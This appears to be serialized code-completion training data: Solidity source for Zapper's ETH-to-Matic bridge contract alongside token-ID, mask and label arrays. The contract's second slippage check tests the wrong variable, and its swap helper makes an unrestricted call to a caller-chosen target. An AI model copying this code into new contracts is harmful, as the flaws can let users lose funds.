creator = msg.sender;
}
| 7,007,402 |
[
1,
442,
701,
30206,
445,
10188,
3128,
6835,
598,
2172,
14467,
2430,
358,
326,
11784,
434,
326,
6835,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
4732,
916,
50,
1435,
1071,
288,
203,
3639,
11784,
273,
1234,
18,
15330,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
// Copyright (C) 2021 zapper
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
///@author Zapper
///@notice This contract swaps and bridges ETH/Tokens to Matic/Polygon
// SPDX-License-Identifier: GPLv2
// File: contracts/oz/GSN/Context.sol
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: contracts/oz/ownership/Ownable.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/oz/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: contracts/oz/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: contracts/oz/utils/Address.sol
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash
= 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account)
internal
pure
returns (address payable)
{
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
}
// File: contracts/oz/token/ERC20/SafeERC20.sol
pragma solidity ^0.5.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
callOptionalReturn(
token,
abi.encodeWithSelector(token.transfer.selector, to, value)
);
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, value)
);
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(
value
);
callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(
value,
"SafeERC20: decreased allowance below zero"
);
callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(
abi.decode(returndata, (bool)),
"SafeERC20: ERC20 operation did not succeed"
);
}
}
}
// File: contracts/_base/ZapBaseV1.sol
pragma solidity ^0.5.7;
contract ZapBaseV1 is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
bool public stopped = false;
// if true, goodwill is not deducted
mapping(address => bool) public feeWhitelist;
uint256 public goodwill;
// % share of goodwill (0-100 %)
uint256 affiliateSplit;
// restrict affiliates
mapping(address => bool) public affiliates;
// affiliate => token => amount
mapping(address => mapping(address => uint256)) public affiliateBalance;
// token => amount
mapping(address => uint256) public totalAffiliateBalance;
address
internal constant ETHAddress = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
constructor(uint256 _goodwill, uint256 _affiliateSplit) public {
goodwill = _goodwill;
affiliateSplit = _affiliateSplit;
}
// circuit breaker modifiers
modifier stopInEmergency {
if (stopped) {
revert("Temporarily Paused");
} else {
_;
}
}
function _getBalance(address token)
internal
view
returns (uint256 balance)
{
if (token == address(0)) {
balance = address(this).balance;
} else {
balance = IERC20(token).balanceOf(address(this));
}
}
// - to Pause the contract
function toggleContractActive() public onlyOwner {
stopped = !stopped;
}
function set_feeWhitelist(address zapAddress, bool status)
external
onlyOwner
{
feeWhitelist[zapAddress] = status;
}
function set_new_goodwill(uint256 _new_goodwill) public onlyOwner {
require(
_new_goodwill >= 0 && _new_goodwill <= 100,
"GoodWill Value not allowed"
);
goodwill = _new_goodwill;
}
function set_new_affiliateSplit(uint256 _new_affiliateSplit)
external
onlyOwner
{
require(
_new_affiliateSplit <= 100,
"Affiliate Split Value not allowed"
);
affiliateSplit = _new_affiliateSplit;
}
function set_affiliate(address _affiliate, bool _status)
external
onlyOwner
{
affiliates[_affiliate] = _status;
}
///@notice Withdraw goodwill share, retaining affilliate share
function withdrawTokens(address[] calldata tokens) external onlyOwner {
for (uint256 i = 0; i < tokens.length; i++) {
uint256 qty;
if (tokens[i] == ETHAddress) {
qty = address(this).balance.sub(
totalAffiliateBalance[tokens[i]]
);
Address.sendValue(Address.toPayable(owner()), qty);
} else {
qty = IERC20(tokens[i]).balanceOf(address(this)).sub(
totalAffiliateBalance[tokens[i]]
);
IERC20(tokens[i]).safeTransfer(owner(), qty);
}
}
}
///@notice Withdraw affilliate share, retaining goodwill share
function affilliateWithdraw(address[] calldata tokens) external {
uint256 tokenBal;
for (uint256 i = 0; i < tokens.length; i++) {
tokenBal = affiliateBalance[msg.sender][tokens[i]];
affiliateBalance[msg.sender][tokens[i]] = 0;
totalAffiliateBalance[tokens[i]] = totalAffiliateBalance[tokens[i]]
.sub(tokenBal);
if (tokens[i] == ETHAddress) {
Address.sendValue(msg.sender, tokenBal);
} else {
IERC20(tokens[i]).safeTransfer(msg.sender, tokenBal);
}
}
}
function() external payable {
require(msg.sender != tx.origin, "Do not send ETH directly");
}
}
// File: contracts/MaticBridge/Zapper_Matic_Bridge_V1.sol
pragma solidity ^0.5.7;
pragma experimental ABIEncoderV2;
// PoS Bridge
interface IRootChainManager {
function depositEtherFor(address user) external payable;
function depositFor(
address user,
address rootToken,
bytes calldata depositData
) external;
function tokenToType(address) external returns (bytes32);
function typeToPredicate(bytes32) external returns (address);
}
// Plasma Bridge
interface IDepositManager {
function depositERC20ForUser(
address _token,
address _user,
uint256 _amount
) external;
}
contract Zapper_Matic_Bridge_V1 is ZapBaseV1 {
IRootChainManager public rootChainManager;
IDepositManager public depositManager;
address
private constant maticAddress = 0x7D1AfA7B718fb893dB30A3aBc0Cfc608AaCfeBB0;
constructor(uint256 _goodwill, uint256 _affiliateSplit)
public
ZapBaseV1(_goodwill, _affiliateSplit)
{
rootChainManager = IRootChainManager(
0xA0c68C638235ee32657e8f720a23ceC1bFc77C77
);
depositManager = IDepositManager(
0x401F6c983eA34274ec46f84D70b31C151321188b
);
}
/**
@notice Bridge from Ethereum to Matic
@notice Use index 0 for primary swap and index 1 for matic swap
@param fromToken Address of the token to swap from
@param toToken Address of the token to bridge
@param swapAmounts Quantites of fromToken to swap to toToken and matic
@param minTokensRec Minimum acceptable quantity of swapped tokens and/or matic
@param swapTargets Execution targets for swaps
@param swapData DEX swap data
@param affiliate Affiliate address
*/
function ZapIn(
address fromToken,
address toToken,
uint256[] calldata swapAmounts,
uint256[] calldata minTokensRec,
address[] calldata swapTargets,
bytes[] calldata swapData,
address affiliate
) external payable {
require(
swapAmounts.length == swapTargets.length &&
swapTargets.length == swapData.length &&
swapData.length == 2,
"Incorrect input length"
);
uint256 toInvest = _pullTokens(fromToken, swapAmounts, affiliate);
// Token swap
uint256 toTokenAmt = _fillQuote(
fromToken,
toInvest,
toToken,
swapTargets[0],
swapData[0]
);
require(toTokenAmt >= minTokensRec[0], "ERR: High Slippage 1");
_bridgeToken(toToken, toTokenAmt);
// Matic swap
if (swapAmounts[1] > 0) {
uint256 maticAmount = _fillQuote(
fromToken,
swapAmounts[1],
maticAddress,
swapTargets[1],
swapData[1]
);
require(toTokenAmt >= minTokensRec[1], "ERR: High Slippage 2");
_bridgeMatic(maticAmount);
}
}
function _bridgeToken(address toToken, uint256 toTokenAmt) internal {
if (toToken == address(0)) {
rootChainManager.depositEtherFor.value(toTokenAmt)(msg.sender);
} else {
bytes32 tokenType = rootChainManager.tokenToType(toToken);
address predicate = rootChainManager.typeToPredicate(tokenType);
IERC20(toToken).safeApprove(predicate, 0);
IERC20(toToken).safeApprove(predicate, toTokenAmt);
rootChainManager.depositFor(
msg.sender,
toToken,
abi.encode(toTokenAmt)
);
}
}
function _bridgeMatic(uint256 maticAmount) internal {
IERC20 matic = IERC20(maticAddress);
matic.safeApprove(address(depositManager), 0);
matic.safeApprove(address(depositManager), maticAmount);
depositManager.depositERC20ForUser(
maticAddress,
msg.sender,
maticAmount
);
}
// 0x Swap
function _fillQuote(
address fromToken,
uint256 amount,
address toToken,
address swapTarget,
bytes memory swapCallData
) internal returns (uint256 amtBought) {
uint256 valueToSend;
if (fromToken == toToken) {
return amount;
}
if (fromToken == address(0)) {
valueToSend = amount;
} else {
IERC20(fromToken).safeApprove(address(swapTarget), 0);
IERC20(fromToken).safeApprove(address(swapTarget), amount);
}
uint256 iniBal = _getBalance(toToken);
(bool success, ) = swapTarget.call.value(valueToSend)(swapCallData);
require(success, "Error Swapping Tokens");
uint256 finalBal = _getBalance(toToken);
amtBought = finalBal.sub(iniBal);
}
function _pullTokens(
address token,
uint256[] memory amounts,
address affiliate
) internal returns (uint256 toInvest) {
uint256 totalGoodwillPortion;
if (token == address(0)) {
require(
amounts[0].add(amounts[1]) == msg.value,
"Incorrect ETH Amount"
);
// subtract goodwill
totalGoodwillPortion = _subtractGoodwill(
ETHAddress,
amounts[0],
affiliate
);
return amounts[0].sub(totalGoodwillPortion);
}
require(msg.value == 0, "Eth sent with token");
//transfer token
IERC20(token).safeTransferFrom(
msg.sender,
address(this),
amounts[0].add(amounts[1])
);
// subtract goodwill
totalGoodwillPortion = _subtractGoodwill(token, amounts[0], affiliate);
return amounts[0].sub(totalGoodwillPortion);
}
function _subtractGoodwill(
address token,
uint256 amount,
address affiliate
) internal returns (uint256 totalGoodwillPortion) {
bool whitelisted = feeWhitelist[msg.sender];
if (!whitelisted && goodwill > 0) {
totalGoodwillPortion = SafeMath.div(
SafeMath.mul(amount, goodwill),
10000
);
if (affiliates[affiliate]) {
if (token == address(0)) {
token = ETHAddress;
}
uint256 affiliatePortion = totalGoodwillPortion
.mul(affiliateSplit)
.div(100);
affiliateBalance[affiliate][token] = affiliateBalance[affiliate][token]
.add(affiliatePortion);
totalAffiliateBalance[token] = totalAffiliateBalance[token].add(
affiliatePortion
);
}
}
}
}
|
/ Token swap Matic swap
|
function ZapIn(
address fromToken,
address toToken,
uint256[] calldata swapAmounts,
uint256[] calldata minTokensRec,
address[] calldata swapTargets,
bytes[] calldata swapData,
address affiliate
) external payable {
require(
swapAmounts.length == swapTargets.length &&
swapTargets.length == swapData.length &&
swapData.length == 2,
"Incorrect input length"
);
uint256 toInvest = _pullTokens(fromToken, swapAmounts, affiliate);
uint256 toTokenAmt = _fillQuote(
fromToken,
toInvest,
toToken,
swapTargets[0],
swapData[0]
);
require(toTokenAmt >= minTokensRec[0], "ERR: High Slippage 1");
_bridgeToken(toToken, toTokenAmt);
if (swapAmounts[1] > 0) {
uint256 maticAmount = _fillQuote(
fromToken,
swapAmounts[1],
maticAddress,
swapTargets[1],
swapData[1]
);
require(toTokenAmt >= minTokensRec[1], "ERR: High Slippage 2");
_bridgeMatic(maticAmount);
}
}
| 11,767,477 |
[
1,
19,
3155,
7720,
490,
2126,
7720,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
2285,
438,
382,
12,
203,
3639,
1758,
628,
1345,
16,
203,
3639,
1758,
358,
1345,
16,
203,
3639,
2254,
5034,
8526,
745,
892,
7720,
6275,
87,
16,
203,
3639,
2254,
5034,
8526,
745,
892,
1131,
5157,
5650,
16,
203,
3639,
1758,
8526,
745,
892,
7720,
9432,
16,
203,
3639,
1731,
8526,
745,
892,
7720,
751,
16,
203,
3639,
1758,
7103,
330,
3840,
203,
565,
262,
3903,
8843,
429,
288,
203,
3639,
2583,
12,
203,
5411,
7720,
6275,
87,
18,
2469,
422,
7720,
9432,
18,
2469,
597,
203,
7734,
7720,
9432,
18,
2469,
422,
7720,
751,
18,
2469,
597,
203,
7734,
7720,
751,
18,
2469,
422,
576,
16,
203,
5411,
315,
16268,
810,
769,
6,
203,
3639,
11272,
203,
203,
3639,
2254,
5034,
358,
3605,
395,
273,
389,
13469,
5157,
12,
2080,
1345,
16,
7720,
6275,
87,
16,
7103,
330,
3840,
1769,
203,
203,
3639,
2254,
5034,
358,
1345,
31787,
273,
389,
5935,
10257,
12,
203,
5411,
628,
1345,
16,
203,
5411,
358,
3605,
395,
16,
203,
5411,
358,
1345,
16,
203,
5411,
7720,
9432,
63,
20,
6487,
203,
5411,
7720,
751,
63,
20,
65,
203,
3639,
11272,
203,
203,
3639,
2583,
12,
869,
1345,
31787,
1545,
1131,
5157,
5650,
63,
20,
6487,
315,
9712,
30,
15207,
348,
3169,
2433,
404,
8863,
203,
203,
3639,
389,
18337,
1345,
12,
